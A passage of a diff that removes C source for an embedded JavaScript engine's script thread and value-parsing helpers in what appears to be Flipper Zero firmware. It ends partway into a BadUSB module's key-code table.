const char* name = mjs_get_string(mjs, &name_v, &len);
|
||||
mjs_val_t req_object = MJS_UNDEFINED;
|
||||
if((len == 0) || (name == NULL)) {
|
||||
mjs_prepend_errorf(mjs, MJS_BAD_ARGS_ERROR, "String argument is expected");
|
||||
} else {
|
||||
JsThread* worker = mjs_get_context(mjs);
|
||||
furi_assert(worker);
|
||||
req_object = js_module_require(worker->modules, name, len);
|
||||
}
|
||||
mjs_return(mjs, req_object);
|
||||
}
|
||||
|
||||
static void js_parse_int(struct mjs* mjs) {
|
||||
static const JsValueDeclaration js_parse_int_arg_list[] = {
|
||||
JS_VALUE_SIMPLE(JsValueTypeString),
|
||||
JS_VALUE_SIMPLE_W_DEFAULT(JsValueTypeInt32, int32_val, 10),
|
||||
};
|
||||
static const JsValueArguments js_parse_int_args = JS_VALUE_ARGS(js_parse_int_arg_list);
|
||||
|
||||
const char* str;
|
||||
int32_t base;
|
||||
JS_VALUE_PARSE_ARGS_OR_RETURN(mjs, &js_parse_int_args, &str, &base);
|
||||
|
||||
int32_t num;
|
||||
if(strint_to_int32(str, NULL, &num, base) != StrintParseNoError) {
|
||||
num = 0;
|
||||
}
|
||||
mjs_return(mjs, mjs_mk_number(mjs, num));
|
||||
}
|
||||
|
||||
#ifdef JS_DEBUG
|
||||
static void js_dump_write_callback(void* ctx, const char* format, ...) {
|
||||
File* file = ctx;
|
||||
furi_assert(ctx);
|
||||
|
||||
FuriString* str = furi_string_alloc();
|
||||
|
||||
va_list args;
|
||||
va_start(args, format);
|
||||
furi_string_vprintf(str, format, args);
|
||||
furi_string_cat(str, "\n");
|
||||
va_end(args);
|
||||
|
||||
storage_file_write(file, furi_string_get_cstr(str), furi_string_size(str));
|
||||
furi_string_free(str);
|
||||
}
|
||||
#endif
|
||||
|
||||
static int32_t js_thread(void* arg) {
|
||||
JsThread* worker = arg;
|
||||
worker->resolver = composite_api_resolver_alloc();
|
||||
composite_api_resolver_add(worker->resolver, firmware_api_interface);
|
||||
composite_api_resolver_add(worker->resolver, application_api_interface);
|
||||
|
||||
struct mjs* mjs = mjs_create(worker);
|
||||
worker->modules = js_modules_create(mjs, worker->resolver);
|
||||
mjs_val_t global = mjs_get_global(mjs);
|
||||
mjs_val_t console_obj = mjs_mk_object(mjs);
|
||||
|
||||
if(worker->path) {
|
||||
FuriString* dirpath = furi_string_alloc();
|
||||
path_extract_dirname(furi_string_get_cstr(worker->path), dirpath);
|
||||
mjs_set(
|
||||
mjs,
|
||||
global,
|
||||
"__filename",
|
||||
~0,
|
||||
mjs_mk_string(
|
||||
mjs, furi_string_get_cstr(worker->path), furi_string_size(worker->path), true));
|
||||
mjs_set(
|
||||
mjs,
|
||||
global,
|
||||
"__dirname",
|
||||
~0,
|
||||
mjs_mk_string(mjs, furi_string_get_cstr(dirpath), furi_string_size(dirpath), true));
|
||||
furi_string_free(dirpath);
|
||||
}
|
||||
|
||||
JS_ASSIGN_MULTI(mjs, global) {
|
||||
JS_FIELD("print", MJS_MK_FN(js_print));
|
||||
JS_FIELD("delay", MJS_MK_FN(js_delay));
|
||||
JS_FIELD("parseInt", MJS_MK_FN(js_parse_int));
|
||||
JS_FIELD("ffi_address", MJS_MK_FN(js_ffi_address));
|
||||
JS_FIELD("require", MJS_MK_FN(js_require));
|
||||
JS_FIELD("console", console_obj);
|
||||
|
||||
JS_FIELD("sdkCompatibilityStatus", MJS_MK_FN(js_sdk_compatibility_status));
|
||||
JS_FIELD("isSdkCompatible", MJS_MK_FN(js_is_sdk_compatible));
|
||||
JS_FIELD("checkSdkCompatibility", MJS_MK_FN(js_check_sdk_compatibility));
|
||||
JS_FIELD("doesSdkSupport", MJS_MK_FN(js_does_sdk_support));
|
||||
JS_FIELD("checkSdkFeatures", MJS_MK_FN(js_check_sdk_features));
|
||||
}
|
||||
|
||||
JS_ASSIGN_MULTI(mjs, console_obj) {
|
||||
JS_FIELD("log", MJS_MK_FN(js_console_log));
|
||||
JS_FIELD("warn", MJS_MK_FN(js_console_warn));
|
||||
JS_FIELD("error", MJS_MK_FN(js_console_error));
|
||||
JS_FIELD("debug", MJS_MK_FN(js_console_debug));
|
||||
}
|
||||
|
||||
mjs_set_ffi_resolver(mjs, js_dlsym, worker->resolver);
|
||||
|
||||
mjs_set_exec_flags_poller(mjs, js_exit_flag_poll);
|
||||
|
||||
mjs_err_t err = mjs_exec_file(mjs, furi_string_get_cstr(worker->path), NULL);
|
||||
|
||||
#ifdef JS_DEBUG
|
||||
if(furi_hal_rtc_is_flag_set(FuriHalRtcFlagDebug)) {
|
||||
FuriString* dump_path = furi_string_alloc_set(worker->path);
|
||||
furi_string_cat(dump_path, ".lst");
|
||||
|
||||
Storage* storage = furi_record_open(RECORD_STORAGE);
|
||||
File* file = storage_file_alloc(storage);
|
||||
|
||||
if(storage_file_open(
|
||||
file, furi_string_get_cstr(dump_path), FSAM_WRITE, FSOM_CREATE_ALWAYS)) {
|
||||
mjs_disasm_all(mjs, js_dump_write_callback, file);
|
||||
}
|
||||
|
||||
storage_file_close(file);
|
||||
storage_file_free(file);
|
||||
furi_record_close(RECORD_STORAGE);
|
||||
|
||||
furi_string_free(dump_path);
|
||||
}
|
||||
#endif
|
||||
|
||||
if(err != MJS_OK) {
|
||||
FURI_LOG_E(TAG, "Exec error: %s", mjs_strerror(mjs, err));
|
||||
if(worker->app_callback) {
|
||||
worker->app_callback(JsThreadEventError, mjs_strerror(mjs, err), worker->context);
|
||||
}
|
||||
const char* stack_trace = mjs_get_stack_trace(mjs);
|
||||
if(stack_trace != NULL) {
|
||||
FURI_LOG_E(TAG, "Stack trace:\r\n%s", stack_trace);
|
||||
if(worker->app_callback) {
|
||||
worker->app_callback(JsThreadEventErrorTrace, stack_trace, worker->context);
|
||||
}
|
||||
}
|
||||
} else {
|
||||
if(worker->app_callback) {
|
||||
worker->app_callback(JsThreadEventDone, NULL, worker->context);
|
||||
}
|
||||
}
|
||||
|
||||
mjs_destroy(mjs);
|
||||
js_modules_destroy(worker->modules);
|
||||
|
||||
composite_api_resolver_free(worker->resolver);
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
JsThread* js_thread_run(const char* script_path, JsThreadCallback callback, void* context) {
|
||||
JsThread* worker = malloc(sizeof(JsThread)); //-V799
|
||||
worker->path = furi_string_alloc_set(script_path);
|
||||
worker->thread = furi_thread_alloc_ex("JsThread", 8 * 1024, js_thread, worker);
|
||||
worker->app_callback = callback;
|
||||
worker->context = context;
|
||||
furi_thread_start(worker->thread);
|
||||
return worker;
|
||||
}
|
||||
|
||||
void js_thread_stop(JsThread* worker) {
|
||||
furi_thread_flags_set(furi_thread_get_id(worker->thread), ThreadEventStop);
|
||||
furi_thread_join(worker->thread);
|
||||
furi_thread_free(worker->thread);
|
||||
furi_string_free(worker->path);
|
||||
free(worker);
|
||||
}
|
||||
@@ -1,24 +0,0 @@
|
||||
#pragma once
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
typedef struct JsThread JsThread;
|
||||
|
||||
typedef enum {
|
||||
JsThreadEventDone,
|
||||
JsThreadEventError,
|
||||
JsThreadEventPrint,
|
||||
JsThreadEventErrorTrace,
|
||||
} JsThreadEvent;
|
||||
|
||||
typedef void (*JsThreadCallback)(JsThreadEvent event, const char* msg, void* context);
|
||||
|
||||
JsThread* js_thread_run(const char* script_path, JsThreadCallback callback, void* context);
|
||||
|
||||
void js_thread_stop(JsThread* worker);
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
@@ -1,33 +0,0 @@
|
||||
#pragma once
|
||||
|
||||
#include <furi.h>
|
||||
#include <mjs_core_public.h>
|
||||
#include <mjs_ffi_public.h>
|
||||
#include <mjs_exec_public.h>
|
||||
#include <mjs_object_public.h>
|
||||
#include <mjs_string_public.h>
|
||||
#include <mjs_array_public.h>
|
||||
#include <mjs_util_public.h>
|
||||
#include <mjs_primitive_public.h>
|
||||
#include <mjs_array_buf_public.h>
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
#define INST_PROP_NAME "_"
|
||||
|
||||
typedef enum {
|
||||
ThreadEventStop = (1 << 0),
|
||||
ThreadEventCustomDataRx = (1 << 1),
|
||||
} WorkerEventFlags;
|
||||
|
||||
bool js_delay_with_flags(struct mjs* mjs, uint32_t time);
|
||||
|
||||
void js_flags_set(struct mjs* mjs, uint32_t flags);
|
||||
|
||||
uint32_t js_flags_wait(struct mjs* mjs, uint32_t flags, uint32_t timeout);
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
@@ -1,291 +0,0 @@
|
||||
#include "js_value.h"
|
||||
#include <stdarg.h>
|
||||
|
||||
#ifdef APP_UNIT_TESTS
|
||||
#define JS_VAL_DEBUG
|
||||
#endif
|
||||
|
||||
size_t js_value_buffer_size(const JsValueParseDeclaration declaration) {
|
||||
if(declaration.source == JsValueParseSourceValue) {
|
||||
const JsValueDeclaration* value_decl = declaration.value_decl;
|
||||
JsValueType type = value_decl->type & JsValueTypeMask;
|
||||
|
||||
if(type == JsValueTypeString) return 1;
|
||||
|
||||
if(type == JsValueTypeObject) {
|
||||
size_t total = 0;
|
||||
for(size_t i = 0; i < value_decl->n_children; i++)
|
||||
total += js_value_buffer_size(
|
||||
JS_VALUE_PARSE_SOURCE_VALUE(value_decl->object_fields[i].value));
|
||||
return total;
|
||||
}
|
||||
|
||||
return 0;
|
||||
|
||||
} else {
|
||||
const JsValueArguments* arg_decl = declaration.argument_decl;
|
||||
size_t total = 0;
|
||||
for(size_t i = 0; i < arg_decl->n_children; i++)
|
||||
total += js_value_buffer_size(JS_VALUE_PARSE_SOURCE_VALUE(&arg_decl->arguments[i]));
|
||||
return total;
|
||||
}
|
||||
}
|
||||
|
||||
static size_t js_value_resulting_c_values_count(const JsValueParseDeclaration declaration) {
|
||||
if(declaration.source == JsValueParseSourceValue) {
|
||||
const JsValueDeclaration* value_decl = declaration.value_decl;
|
||||
JsValueType type = value_decl->type & JsValueTypeMask;
|
||||
|
||||
if(type == JsValueTypeObject) {
|
||||
size_t total = 0;
|
||||
for(size_t i = 0; i < value_decl->n_children; i++)
|
||||
total += js_value_resulting_c_values_count(
|
||||
JS_VALUE_PARSE_SOURCE_VALUE(value_decl->object_fields[i].value));
|
||||
return total;
|
||||
}
|
||||
|
||||
return 1;
|
||||
|
||||
} else {
|
||||
const JsValueArguments* arg_decl = declaration.argument_decl;
|
||||
size_t total = 0;
|
||||
for(size_t i = 0; i < arg_decl->n_children; i++)
|
||||
total += js_value_resulting_c_values_count(
|
||||
JS_VALUE_PARSE_SOURCE_VALUE(&arg_decl->arguments[i]));
|
||||
return total;
|
||||
}
|
||||
}
|
||||
|
||||
#define PREPEND_JS_ERROR_AND_RETURN(mjs, flags, ...) \
|
||||
do { \
|
||||
if((flags) & JsValueParseFlagReturnOnError) \
|
||||
mjs_prepend_errorf((mjs), MJS_BAD_ARGS_ERROR, __VA_ARGS__); \
|
||||
return JsValueParseStatusJsError; \
|
||||
} while(0)
|
||||
|
||||
#define PREPEND_JS_EXPECTED_ERROR_AND_RETURN(mjs, flags, type) \
|
||||
PREPEND_JS_ERROR_AND_RETURN(mjs, flags, "expected %s", type)
|
||||
|
||||
static void js_value_assign_enum_val(void* destination, JsValueType type_w_flags, uint32_t value) {
|
||||
if(type_w_flags & JsValueTypeEnumSize1) {
|
||||
*(uint8_t*)destination = value;
|
||||
} else if(type_w_flags & JsValueTypeEnumSize2) {
|
||||
*(uint16_t*)destination = value;
|
||||
} else if(type_w_flags & JsValueTypeEnumSize4) {
|
||||
*(uint32_t*)destination = value;
|
||||
}
|
||||
}
|
||||
|
||||
static bool js_value_is_null_or_undefined(mjs_val_t* val_ptr) {
|
||||
return mjs_is_null(*val_ptr) || mjs_is_undefined(*val_ptr);
|
||||
}
|
||||
|
||||
static bool js_value_maybe_assign_default(
|
||||
const JsValueDeclaration* declaration,
|
||||
mjs_val_t* val_ptr,
|
||||
void* destination,
|
||||
size_t size) {
|
||||
if((declaration->type & JsValueTypePermitNull) && js_value_is_null_or_undefined(val_ptr)) {
|
||||
memcpy(destination, &declaration->default_value, size);
|
||||
return true;
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
typedef int (*MjsTypecheckFn)(mjs_val_t value);
|
||||
|
||||
static JsValueParseStatus js_value_parse_literal(
|
||||
struct mjs* mjs,
|
||||
JsValueParseFlag flags,
|
||||
mjs_val_t* destination,
|
||||
mjs_val_t* source,
|
||||
MjsTypecheckFn typecheck,
|
||||
const char* type_name) {
|
||||
if(!typecheck(*source)) PREPEND_JS_EXPECTED_ERROR_AND_RETURN(mjs, flags, type_name);
|
||||
*destination = *source;
|
||||
return JsValueParseStatusOk;
|
||||
}
|
||||
|
||||
static JsValueParseStatus js_value_parse_va(
|
||||
struct mjs* mjs,
|
||||
const JsValueParseDeclaration declaration,
|
||||
JsValueParseFlag flags,
|
||||
mjs_val_t* source,
|
||||
mjs_val_t* buffer,
|
||||
size_t* buffer_index,
|
||||
va_list* out_pointers) {
|
||||
if(declaration.source == JsValueParseSourceArguments) {
|
||||
const JsValueArguments* arg_decl = declaration.argument_decl;
|
||||
|
||||
for(size_t i = 0; i < arg_decl->n_children; i++) {
|
||||
mjs_val_t arg_val = mjs_arg(mjs, i);
|
||||
JsValueParseStatus status = js_value_parse_va(
|
||||
mjs,
|
||||
JS_VALUE_PARSE_SOURCE_VALUE(&arg_decl->arguments[i]),
|
||||
flags,
|
||||
&arg_val,
|
||||
buffer,
|
||||
buffer_index,
|
||||
out_pointers);
|
||||
if(status != JsValueParseStatusOk) return status;
|
||||
}
|
||||
|
||||
return JsValueParseStatusOk;
|
||||
}
|
||||
|
||||
const JsValueDeclaration* value_decl = declaration.value_decl;
|
||||
JsValueType type_w_flags = value_decl->type;
|
||||
JsValueType type_noflags = type_w_flags & JsValueTypeMask;
|
||||
bool is_null_but_allowed = (type_w_flags & JsValueTypePermitNull) &&
|
||||
js_value_is_null_or_undefined(source);
|
||||
|
||||
void* destination = NULL;
|
||||
if(type_noflags != JsValueTypeObject) destination = va_arg(*out_pointers, void*);
|
||||
|
||||
switch(type_noflags) {
|
||||
// Literal terms
|
||||
case JsValueTypeAny:
|
||||
*(mjs_val_t*)destination = *source;
|
||||
break;
|
||||
case JsValueTypeAnyArray:
|
||||
return js_value_parse_literal(mjs, flags, destination, source, mjs_is_array, "array");
|
||||
case JsValueTypeAnyObject:
|
||||
return js_value_parse_literal(mjs, flags, destination, source, mjs_is_object, "array");
|
||||
case JsValueTypeFunction:
|
||||
return js_value_parse_literal(
|
||||
mjs, flags, destination, source, mjs_is_function, "function");
|
||||
|
||||
// Primitive types
|
||||
case JsValueTypeRawPointer: {
|
||||
if(js_value_maybe_assign_default(value_decl, source, destination, sizeof(void*))) break;
|
||||
if(!mjs_is_foreign(*source)) PREPEND_JS_EXPECTED_ERROR_AND_RETURN(mjs, flags, "pointer");
|
||||
*(void**)destination = mjs_get_ptr(mjs, *source);
|
||||
break;
|
||||
}
|
||||
case JsValueTypeInt32: {
|
||||
if(js_value_maybe_assign_default(value_decl, source, destination, sizeof(int32_t))) break;
|
||||
if(!mjs_is_number(*source)) PREPEND_JS_EXPECTED_ERROR_AND_RETURN(mjs, flags, "number");
|
||||
*(int32_t*)destination = mjs_get_int32(mjs, *source);
|
||||
break;
|
||||
}
|
||||
case JsValueTypeDouble: {
|
||||
if(js_value_maybe_assign_default(value_decl, source, destination, sizeof(double))) break;
|
||||
if(!mjs_is_number(*source)) PREPEND_JS_EXPECTED_ERROR_AND_RETURN(mjs, flags, "number");
|
||||
*(double*)destination = mjs_get_double(mjs, *source);
|
||||
break;
|
||||
}
|
||||
case JsValueTypeBool: {
|
||||
if(js_value_maybe_assign_default(value_decl, source, destination, sizeof(bool))) break;
|
||||
if(!mjs_is_boolean(*source)) PREPEND_JS_EXPECTED_ERROR_AND_RETURN(mjs, flags, "bool");
|
||||
*(bool*)destination = mjs_get_bool(mjs, *source);
|
||||
break;
|
||||
}
|
||||
case JsValueTypeString: {
|
||||
if(js_value_maybe_assign_default(value_decl, source, destination, sizeof(const char*)))
|
||||
break;
|
||||
if(!mjs_is_string(*source)) PREPEND_JS_EXPECTED_ERROR_AND_RETURN(mjs, flags, "string");
|
||||
buffer[*buffer_index] = *source;
|
||||
*(const char**)destination = mjs_get_string(mjs, &buffer[*buffer_index], NULL);
|
||||
(*buffer_index)++;
|
||||
break;
|
||||
}
|
||||
|
||||
// Types with children
|
||||
case JsValueTypeEnum: {
|
||||
if(is_null_but_allowed) {
|
||||
js_value_assign_enum_val(
|
||||
destination, type_w_flags, value_decl->default_value.enum_val);
|
||||
|
||||
} else if(mjs_is_string(*source)) {
|
||||
const char* str = mjs_get_string(mjs, source, NULL);
|
||||
furi_check(str);
|
||||
|
||||
bool match_found = false;
|
||||
for(size_t i = 0; i < value_decl->n_children; i++) {
|
||||
const JsValueEnumVariant* variant = &value_decl->enum_variants[i];
|
||||
if(strcmp(str, variant->string_value) == 0) {
|
||||
js_value_assign_enum_val(destination, type_w_flags, variant->num_value);
|
||||
match_found = true;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if(!match_found)
|
||||
PREPEND_JS_EXPECTED_ERROR_AND_RETURN(mjs, flags, "one of permitted strings");
|
||||
|
||||
} else {
|
||||
PREPEND_JS_EXPECTED_ERROR_AND_RETURN(mjs, flags, "string");
|
||||
}
|
||||
break;
|
||||
}
|
||||
|
||||
case JsValueTypeObject: {
|
||||
if(!(is_null_but_allowed || mjs_is_object(*source)))
|
||||
PREPEND_JS_EXPECTED_ERROR_AND_RETURN(mjs, flags, "object");
|
||||
for(size_t i = 0; i < value_decl->n_children; i++) {
|
||||
const JsValueObjectField* field = &value_decl->object_fields[i];
|
||||
mjs_val_t field_val = mjs_get(mjs, *source, field->field_name, ~0);
|
||||
JsValueParseStatus status = js_value_parse_va(
|
||||
mjs,
|
||||
JS_VALUE_PARSE_SOURCE_VALUE(field->value),
|
||||
flags,
|
||||
&field_val,
|
||||
buffer,
|
||||
buffer_index,
|
||||
out_pointers);
|
||||
if(status != JsValueParseStatusOk)
|
||||
PREPEND_JS_ERROR_AND_RETURN(mjs, flags, "field %s: ", field->field_name);
|
||||
}
|
||||
break;
|
||||
}
|
||||
|
||||
case JsValueTypeMask:
|
||||
case JsValueTypeEnumSize1:
|
||||
case JsValueTypeEnumSize2:
|
||||
case JsValueTypeEnumSize4:
|
||||
case JsValueTypePermitNull:
|
||||
furi_crash();
|
||||
}
|
||||
|
||||
return JsValueParseStatusOk;
|
||||
}
|
||||
|
||||
JsValueParseStatus js_value_parse(
|
||||
struct mjs* mjs,
|
||||
const JsValueParseDeclaration declaration,
|
||||
JsValueParseFlag flags,
|
||||
mjs_val_t* buffer,
|
||||
size_t buf_size,
|
||||
mjs_val_t* source,
|
||||
size_t n_c_vals,
|
||||
...) {
|
||||
furi_check(mjs);
|
||||
furi_check(buffer);
|
||||
|
||||
if(declaration.source == JsValueParseSourceValue) {
|
||||
furi_check(source);
|
||||
furi_check(declaration.value_decl);
|
||||
} else {
|
||||
furi_check(source == NULL);
|
||||
furi_check(declaration.argument_decl);
|
||||
}
|
||||
|
||||
#ifdef JS_VAL_DEBUG
|
||||
furi_check(buf_size == js_value_buffer_size(declaration));
|
||||
furi_check(n_c_vals == js_value_resulting_c_values_count(declaration));
|
||||
#else
|
||||
UNUSED(js_value_resulting_c_values_count);
|
||||
#endif
|
||||
|
||||
va_list out_pointers;
|
||||
va_start(out_pointers, n_c_vals);
|
||||
|
||||
size_t buffer_index = 0;
|
||||
JsValueParseStatus status =
|
||||
js_value_parse_va(mjs, declaration, flags, source, buffer, &buffer_index, &out_pointers);
|
||||
furi_check(buffer_index <= buf_size);
|
||||
|
||||
va_end(out_pointers);
|
||||
|
||||
return status;
|
||||
}
|
||||
@@ -1,212 +0,0 @@
|
||||
#pragma once
|
||||
|
||||
#include <furi.h>
|
||||
#include "js_modules.h"
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
typedef enum {
|
||||
// literal types
|
||||
JsValueTypeAny, //<! Literal term
|
||||
JsValueTypeAnyArray, //<! Literal term, after ensuring that it's an array
|
||||
JsValueTypeAnyObject, //<! Literal term, after ensuring that it's an object
|
||||
JsValueTypeFunction, //<! Literal term, after ensuring that it's a function
|
||||
|
||||
// primitive types
|
||||
JsValueTypeRawPointer, //<! Unchecked `void*`
|
||||
JsValueTypeInt32, //<! Number cast to `int32_t`
|
||||
JsValueTypeDouble, //<! Number cast to `double`
|
||||
JsValueTypeString, //<! Any string cast to `const char*`
|
||||
JsValueTypeBool, //<! Bool cast to `bool`
|
||||
|
||||
// types with children
|
||||
JsValueTypeEnum, //<! String with predefined possible values cast to a C enum via a mapping
|
||||
JsValueTypeObject, //<! Object with predefined recursive fields cast to several C values
|
||||
|
||||
JsValueTypeMask = 0xff,
|
||||
|
||||
// enum sizes
|
||||
JsValueTypeEnumSize1 = (1 << 8),
|
||||
JsValueTypeEnumSize2 = (2 << 8),
|
||||
JsValueTypeEnumSize4 = (4 << 8),
|
||||
|
||||
// flags
|
||||
JsValueTypePermitNull = (1 << 16), //<! If the value is absent, assign default value
|
||||
} JsValueType;
|
||||
|
||||
#define JS_VALUE_TYPE_ENUM_SIZE(x) ((x) << 8)
|
||||
|
||||
typedef struct {
|
||||
const char* string_value;
|
||||
size_t num_value;
|
||||
} JsValueEnumVariant;
|
||||
|
||||
typedef union {
|
||||
void* ptr_val;
|
||||
int32_t int32_val;
|
||||
double double_val;
|
||||
const char* str_val;
|
||||
size_t enum_val;
|
||||
bool bool_val;
|
||||
} JsValueDefaultValue;
|
||||
|
||||
typedef struct JsValueObjectField JsValueObjectField;
|
||||
|
||||
typedef struct {
|
||||
JsValueType type;
|
||||
JsValueDefaultValue default_value;
|
||||
|
||||
size_t n_children;
|
||||
union {
|
||||
const JsValueEnumVariant* enum_variants;
|
||||
const JsValueObjectField* object_fields;
|
||||
};
|
||||
} JsValueDeclaration;
|
||||
|
||||
struct JsValueObjectField {
|
||||
const char* field_name;
|
||||
const JsValueDeclaration* value;
|
||||
};
|
||||
|
||||
typedef struct {
|
||||
size_t n_children;
|
||||
const JsValueDeclaration* arguments;
|
||||
} JsValueArguments;
|
||||
|
||||
#define JS_VALUE_ENUM(c_type, variants) \
|
||||
{ \
|
||||
.type = JsValueTypeEnum | JS_VALUE_TYPE_ENUM_SIZE(sizeof(c_type)), \
|
||||
.n_children = COUNT_OF(variants), \
|
||||
.enum_variants = variants, \
|
||||
}
|
||||
|
||||
#define JS_VALUE_ENUM_W_DEFAULT(c_type, variants, default) \
|
||||
{ \
|
||||
.type = JsValueTypeEnum | JsValueTypePermitNull | \
|
||||
JS_VALUE_TYPE_ENUM_SIZE(sizeof(c_type)), \
|
||||
.default_value.enum_val = default, \
|
||||
.n_children = COUNT_OF(variants), \
|
||||
.enum_variants = variants, \
|
||||
}
|
||||
|
||||
#define JS_VALUE_OBJECT(fields) \
|
||||
{ \
|
||||
.type = JsValueTypeObject, \
|
||||
.n_children = COUNT_OF(fields), \
|
||||
.object_fields = fields, \
|
||||
}
|
||||
|
||||
#define JS_VALUE_OBJECT_W_DEFAULTS(fields) \
|
||||
{ \
|
||||
.type = JsValueTypeObject | JsValueTypePermitNull, \
|
||||
.n_children = COUNT_OF(fields), \
|
||||
.object_fields = fields, \
|
||||
}
|
||||
|
||||
#define JS_VALUE_SIMPLE(t) {.type = t}
|
||||
|
||||
#define JS_VALUE_SIMPLE_W_DEFAULT(t, name, val) \
|
||||
{.type = (t) | JsValueTypePermitNull, .default_value.name = (val)}
|
||||
|
||||
#define JS_VALUE_ARGS(args) \
|
||||
{ \
|
||||
.n_children = COUNT_OF(args), \
|
||||
.arguments = args, \
|
||||
}
|
||||
|
||||
typedef enum {
|
||||
JsValueParseFlagNone = 0,
|
||||
JsValueParseFlagReturnOnError =
|
||||
(1
|
||||
<< 0), //<! Sets mjs error string to a description of the parsing error and returns from the JS function
|
||||
} JsValueParseFlag;
|
||||
|
||||
typedef enum {
|
||||
JsValueParseStatusOk, //<! Parsing completed successfully
|
||||
JsValueParseStatusJsError, //<! Parsing failed due to incorrect JS input
|
||||
} JsValueParseStatus;
|
||||
|
||||
typedef enum {
|
||||
JsValueParseSourceValue,
|
||||
JsValueParseSourceArguments,
|
||||
} JsValueParseSource;
|
||||
|
||||
typedef struct {
|
||||
JsValueParseSource source;
|
||||
union {
|
||||
const JsValueDeclaration* value_decl;
|
||||
const JsValueArguments* argument_decl;
|
||||
};
|
||||
} JsValueParseDeclaration;
|
||||
|
||||
#define JS_VALUE_PARSE_SOURCE_VALUE(declaration) \
|
||||
((JsValueParseDeclaration){.source = JsValueParseSourceValue, .value_decl = declaration})
|
||||
#define JS_VALUE_PARSE_SOURCE_ARGS(declaration) \
|
||||
((JsValueParseDeclaration){ \
|
||||
.source = JsValueParseSourceArguments, .argument_decl = declaration})
|
||||
|
||||
/**
|
||||
* @brief Determines the size of the buffer array of `mjs_val_t`s that needs to
|
||||
* be passed to `js_value_parse`.
|
||||
*/
|
||||
size_t js_value_buffer_size(const JsValueParseDeclaration declaration);
|
||||
|
||||
/**
|
||||
* @brief Converts a JS value into a series of C values.
|
||||
*
|
||||
* @param[in] mjs mJS instance pointer
|
||||
* @param[in] declaration Declaration for the input value. Chooses where the
|
||||
* values are to be fetched from (an `mjs_val_t` or
|
||||
* function arguments)
|
||||
* @param[in] flags See the corresponding enum.
|
||||
* @param[out] buffer Temporary buffer for values that need to live
|
||||
* longer than the function call. To determine the
|
||||
* size of the buffer, use `js_value_buffer_size`.
|
||||
* Values parsed by this function will become invalid
|
||||
* when this buffer goes out of scope.
|
||||
* @param[in] buf_size Number of entries in the temporary buffer (i.e.
|
||||
* `COUNT_OF`, not `sizeof`).
|
||||
* @param[in] source Source JS value that needs to be converted. May be
|
||||
* NULL if `declaration.source` is
|
||||
* `JsValueParseSourceArguments`.
|
||||
* @param[in] n_c_vals Number of output C values
|
||||
* @param[out] ... Pointers to output C values. The order in which
|
||||
* these values are populated corresponds to the order
|
||||
* in which the values are defined in the declaration.
|
||||
*
|
||||
* @returns Parsing status
|
||||
*/
|
||||
JsValueParseStatus js_value_parse(
|
||||
struct mjs* mjs,
|
||||
const JsValueParseDeclaration declaration,
|
||||
JsValueParseFlag flags,
|
||||
mjs_val_t* buffer,
|
||||
size_t buf_size,
|
||||
mjs_val_t* source,
|
||||
size_t n_c_vals,
|
||||
...);
|
||||
|
||||
#define JS_VALUE_PARSE(mjs, declaration, flags, status_ptr, value_ptr, ...) \
|
||||
void* _args[] = {__VA_ARGS__}; \
|
||||
size_t _n_args = COUNT_OF(_args); \
|
||||
size_t _temp_buf_len = js_value_buffer_size(declaration); \
|
||||
mjs_val_t _temp_buffer[_temp_buf_len]; \
|
||||
*(status_ptr) = js_value_parse( \
|
||||
mjs, declaration, flags, _temp_buffer, _temp_buf_len, value_ptr, _n_args, __VA_ARGS__);
|
||||
|
||||
#define JS_VALUE_PARSE_ARGS_OR_RETURN(mjs, declaration, ...) \
|
||||
JsValueParseStatus _status; \
|
||||
JS_VALUE_PARSE( \
|
||||
mjs, \
|
||||
JS_VALUE_PARSE_SOURCE_ARGS(declaration), \
|
||||
JsValueParseFlagReturnOnError, \
|
||||
&_status, \
|
||||
NULL, \
|
||||
__VA_ARGS__); \
|
||||
if(_status != JsValueParseStatusOk) return;
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
@@ -1,529 +0,0 @@
|
||||
#include <core/common_defines.h>
|
||||
#include "../js_modules.h"
|
||||
#include <furi_hal.h>
|
||||
|
||||
#define ASCII_TO_KEY(layout, x) (((uint8_t)x < 128) ? (layout[(uint8_t)x]) : HID_KEYBOARD_NONE)
|
||||
|
||||
typedef struct {
|
||||
FuriHalUsbHidConfig* hid_cfg;
|
||||
uint16_t layout[128];
|
||||
FuriHalUsbInterface* usb_if_prev;
|
||||
uint8_t key_hold_cnt;
|
||||
} JsBadusbInst;
|
||||
|
||||
static const struct {
|
||||
char* name;
|
||||
uint16_t code;
|
||||
} key_codes[] = {
|
||||
{"CTRL", KEY_MOD_LEFT_CTRL},
|
||||
{"SHIFT", KEY_MOD_LEFT_SHIFT},
|
||||
{"ALT", KEY_MOD_LEFT_ALT},
|
||||
{"GUI", KEY_MOD_LEFT_GUI},
|
||||
|
||||
{"DOWN", HID_KEYBOARD_DOWN_ARROW},
|
||||
{"LEFT", HID_KEYBOARD_LEFT_ARROW},
|
||||
{"RIGHT", HID_KEYBOARD_RIGHT_ARROW},
|
||||
{"UP", HID_KEYBOARD_UP_ARROW},
|
||||
|
||||
{"ENTER", HID_KEYBOARD_RETURN},
|
||||
{"PAUSE", HID_KEYBOARD_PAUSE},
|
||||
{"CAPSLOCK", HID_KEYBOARD_CAPS_LOCK},
|
||||
{"DELETE", HID_KEYBOARD_DELETE_FORWARD},
|
||||
{"BACKSPACE", HID_KEYBOARD_DELETE},
|
||||
{"END", HID_KEYBOARD_END},
|
||||
{"ESC", HID_KEYBOARD_ESCAPE},
|
||||
{"HOME", HID_KEYBOARD_HOME},
|
||||
{"INSERT", HID_KEYBOARD_INSERT},
|
||||
{"NUMLOCK", HID_KEYPAD_NUMLOCK},
|
||||
{"PAGEUP", HID_KEYBOARD_PAGE_UP},
|
||||
{"PAGEDOWN", HID_KEYBOARD_PAGE_DOWN},
|
||||
{"PRINTSCREEN", HID_KEYBOARD_PRINT_SCREEN},
|
||||
{"SCROLLLOCK", HID_KEYBOARD_SCROLL_LOCK},
|
||||
